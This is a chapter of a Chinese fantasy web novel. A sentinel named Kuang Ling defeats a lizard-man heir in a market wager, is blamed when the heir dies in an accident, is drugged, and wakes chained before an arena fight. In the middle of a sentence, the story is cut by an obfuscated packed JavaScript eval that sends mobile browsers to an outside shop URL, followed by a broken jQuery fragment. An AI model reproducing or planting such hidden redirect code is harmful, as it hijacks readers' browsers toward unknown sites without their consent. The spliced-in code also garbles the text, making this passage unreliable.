“开什么玩笑,五分钟!”
“怎么可能啊,五分钟连辛一块鳞片都碰不到吧!”
辛虽然不会幻术,体格却是一等一的强壮,力气更是雄伟,这个帝国人不自量力,不仅闻起来带着哨兵软弱的气味,身材也弱不禁风,所谓机会根本无从谈起。
“这不对吧,”况翎看着眼前的辛,“匕首本来就是我的,你不动手,这个老头的商品也不会摔坏,凭什么我要赢了才有这个资格?你很怕我赢吗?”
他伸出一根手指,“要比就大胆一点,别把条件设置得这么不公平,不然,我会以为你输不起。”
辛双目沉沉地盯着他,好像已经看见了这只帝国小老鼠被他碾烂的样子,“我有什么不敢?那你也开个条件,让我听听。”
况翎弯弯指尖,“我要你朝自己脸上扇十个巴掌,为你对我的无礼称呼道歉。”
“行啊,”没想到辛果断答应,只是脸上的表情越发狰狞,“原本还想留你一条命,现在看来你不需要,希望你别为你说出的话后悔。”
“还没比呢,你倒是把梦做上了。”
况翎都懒得笑了,辛随手从旁观人群里指了一个人,“你,出来,给他计时。”
被他指到的那个人浑身一抖,随后从口袋里掏出一颗两头尖的黑螺,拧了几下之后掷在地上,黑螺快速旋转起来。
“已经开始了。”
辛咧嘴一笑,露出分叉的腥红舌头,“我倒要看看你嘴这么狂,人有什么能耐。”
况翎不紧不慢,好像一点都不着急,反而是老摊主急了,他在地上爬了两步,跪在辛的脚边,“少主,他就是一个什么都不懂的帝国人,您放了他吧,我不要赔偿,摊位上的东西都给您……”
辛不耐烦把人踹开,“滚!再多说一个字,我现在就割了你的舌头!”
况翎冷冷看着。
面对恶意毕露的人,哀求是最没有用的东西,除了给对方增加施暴的快感,起不到半点儿用处。
但大多数人遇到危险时,好像总是本能地想着求饶,而不是……
况翎活动了一下脖子,几乎所有人都没有看清他的动作,他已经贴到了辛的身后。
辛还仗着身高优势,将匕首高高举起,况翎在他眼里就是个可以随便弄死的蝼蚁。
他还在想,反正没规定他不能对况翎动手,等况翎发现怎么抢也抢不回来的时候,他会在五分钟结束前,先砍断他的手。
失去双手作为支撑,趴在地上舔自己的鞋,一定很困难吧。
辛的脸上浮现扭曲的笑意,况翎却已经闪到了他的背后,而他连人影都没看清,辛一时慌了神,顿时什么都顾不上,转身就要抓住况翎,脖子却被勒住,紧接着膝窝一痛,他吱哇大叫,整个人轰隆一声,像一座小山似的以一个扭曲的姿势被按在了地上。
况翎跪压在他的背上,翻了个白眼,如果不是这个人一而再再而三挑衅,他都懒得多看一眼,更别说腾出手收拾他。
但既然惹上了麻烦,还没办法甩掉,那么他一定会痛快反击,而不是息事宁人。
单纯看体型,这个巨蜥人确实够唬人,可庞大的体型也意味着笨重粗拙,况翎原本还忌惮对方留有后手,现在看来,只是一个心思够坏,四肢也不怎么发达的蠢人而已。
旁观的人个个目瞪口呆,黑螺还在地上转得起劲,丝毫没有停歇的意思。
前后不过半分钟的时间,况翎压着他的后颈动脉,狠狠一顶,巨蜥人登时浑身发麻,手不自觉松开,况翎捡起匕首,踢垃圾似的往他身上踢了一脚。
“行了,”眼看着对方在同伴的搀扶下颤抖着站起来,况翎催促,“赶紧履行你的承诺吧,我赶时间。”
他还分神看了老摊主一眼,“之后的赔偿事宜你跟他商量,他在这么多人面前说出的话,应该不会不遵守。”
老摊主的面色却异常惊恐,他看着况翎,简直不知道该如何是好,突然向况翎不住恳求,“我什么都不要了,求您走吧,快走啊!”
况翎不悦,他本以为老摊主是个有骨气的人,谁知道他求完了辛又来求自己,不知道的还以为把他怎么了。
老摊主忽然朝他身后一指,“小心!躲开!”
他出声前,况翎已经飞快闪身,一只锋利的尖爪贴着他的发梢擦了过去。
他回头看着喘着粗气,模样看上去不已经不正常的辛,“怎么了,愿赌不服输,你还要变身?”
“我要杀了你,我要杀了你!”
辛原本以为况翎必输无疑,却没想到自己在大庭广众之下被这个帝国人一招撂倒,旁观者不可置信的视线刺得他的脸火辣辣地疼。
他失去理智,只想着要况翎的命,几个同伴拦他都没能拦住,况翎烦透了他,躲了几下之后,他故技重施,忽然扛住对方一条胳膊,把人重重摔在地上。
辛抽搐了几下,没能爬起来。
况翎一脚踩在他胸口,“是你说要给我机会,条件也都说好了,你怎么又变卦,幸好我对你的人品确实没抱有太大期待。”
他现在只想尽快离开,心里放弃了让他自扇耳光的念头,嘴上却不饶人,“你刚刚怎么喊我来着,帝国的老鼠,无能的哨兵?”
况翎加重了力气,“可你怎么被一只老鼠踩在脚下了,嗯哼?”
辛被他压住胸腔,面色涨红,一个字都说不出。
况翎出了一口恶气,这才松开他,径直穿过了人群,之前还对着他指指点点的人,没一个人敢上前阻拦。
辛像一坨化开的肉山躺在地上,刚刚况翎摔他那一下,他听见了自己的尾椎骨断裂的声音。
他跋扈的气焰像是被一盆水浇灭,就连同伴也没有再来扶他,围观者们窃窃私语的声音蚊子一样钻进了他的耳朵里。
他这辈子都没丢过这么大的人。
他看着头顶刺目的白光,不知从哪儿冒出来一股力气,费力爬了起来。
他死死盯着况翎的背影,呼哧喘着气,越走越快,最后跑了起来,不过一会儿就撵上了况翎。
况翎甩不掉这个牛皮糖,却也不想再和他纠缠,对方跟着他,他就加快脚步,眼看前面就是来时的楼梯,况翎正要上楼,忽然听见背后响起细微的破空声。
他猛地朝旁边一闪,巨蜥人直直往前扑了上去。
这一下似乎用尽了他所有力气,身体的惯性又无比庞大,他刹不住车,脑袋重重磕在台阶上,一动不动了。
整个黑市刹那间针落可闻,所有人都看见了死在楼梯上的辛,和站在一旁僵住了的况翎。
不知道谁喃喃说了一句,“少主死了。”
一石激起千层浪,整个洞窟都响起了尖锐的声音:
“有人把少主害死了!!”
“天哪!!”
况翎的心砰砰直跳,他压根没想杀死这个巨蜥人,他只想摆脱他,谁知道这个蠢人自己撞死了,还好死不死死在了所有人都能看见的地方!
这也能赖他??
况翎按住了自己的额头,从这些人对辛的称呼里,他恐怕真的惹上了大麻烦。
巨蜥人的声音尖锐无比,刺痛的感觉再次在脑海里蔓延,仿佛有人在用力拉扯他的神经,况翎差点也想一头撞死在楼梯上。
颈后忽然在这时发热,况翎焦躁地抓了一下,腺体却更烫了,况翎一心想马上离开这个鬼地方,他快步上了楼梯,眼看就快要回到地面,右肩忽然一疼。
况翎站住了,缓缓低头。
一支尖锐的麻醉针穿透了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735930|209054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的肩膀,刺穿的部分沾着他自己的血,针孔几乎有半个小指粗。
况翎瞳孔倏地一震,这是冥河绝对不可能出现的东西。
这个剂量的麻醉剂,足以放倒一个S级的哨兵。
况翎轻轻抽了一口气,他催动精神力,想要化解麻醉的作用,可是精神源早在进入冥河之后便被压制,现在竟然调动不了分毫。
麻醉效力强劲,他很快感觉自己的腿好像不听使唤了。
况翎身形一摇,从楼梯上滚了下去。
……
“你也有今天啊,况翎?”
“你还是一个人,你活该!”
“我真希望你也死了……”
充满哀怨的声音在耳边回荡,况翎勉强睁开一丝眼睛,眼前是一片纯白的墙壁。
他躺在地上,刚坐起来一点儿,就忍不住龇牙咧嘴,麻醉效力还没有完全消散,他半边身体没有任何力气。
忽然听见当啷一声脆响,况翎不敢置信低头,一道银色的锁链从他身上垂下,一头连接着房间角落的固定环。
另一头,连接着他脖子上的软项圈。
况翎无声骂了句脏话,伸手就要扯开,那东西不知道是什么材质做的,死死箍着他的脖颈,甚至越扯越紧。
他不想窒息而死,却对这玩意儿束手无策,被迫放弃,脸色阴沉难看。
这是他人生二十多年来最屈辱的时候,就算之前因为杀死自己的向导入狱,帝国监狱的条件也比这里好得多,更没人敢往他的脖子上套东西。
对他下手的人一定对他的精神等级非常了解,如果剂量过少,会被他的精神力消解,如果剂量过多,又会直接把他麻痹成傻子。
他心里隐隐有了一个猜测,却又不敢相信。
况翎就这么等了好一会儿,直到麻醉劲儿缓了过去,他才扶着墙慢慢站起来。
房间里只有一扇门,也被刷成了白色,他尝试去推拉,门纹丝不动。
况翎先是被污蔑杀人,又是遭人暗算,昏迷时还被戴了个狗环,各种情绪叠加在一起,气得他一拳砸在门上,房间里的警报顿时哔哔作响,门外传来一阵急促的脚步。
开关滴了一声,门被打开了。
两个守卫走进来,看见里面一脸怨怼的况翎,“你醒了?搞这么大动静干什么,给我老实点!”
况翎:“你们是谁?这是什么地方?”
“这里是备战室,你打死了我们领主的小儿子,领主不会善罢甘休的。”
一个守卫幸灾乐祸,“你在今晚的比赛名单上,还是祈祷自己死得痛快一点吧。”
“等等……什么比赛!?”
况翎死死扣着门,“你给我说明白!”
守卫啧了一声,他一向对马上要死的选手没什么好脾气,但是这人送来的时候,往那一躺跟个睡美人似的,叫人说不出重话,现在醒了,倒是活色生香。
见惯了五大三粗的巨蜥人,他自然没忍住多看了况翎两眼,反正也要死,让他死得明白也行。
“你杀人了,在冥河是最严重的罪名,按照规矩,你必须参与地下拳场的搏斗,根据抽签决定对手。”
另一个守卫说:“他们都是其他犯下重罪的犯人,只有活到最后一个,才能被豁免。”
说到这里,他忍不住对眼前的人产生了一丝同情,领主为了让他死在这里,竟然放出了几个在地牢里关了好几年的老囚徒做他的对手。
他们对自由的渴望何其强烈,就凭况翎这样子,根本无力招架。
无论况翎怎么抽签,都一定会和他们对上。
本以为这下这个犯人总该露出恐惧的神色,谁知他却往地上一坐,“行,我知道了,给我送一杯水,一个枕头和一些纱布进来。”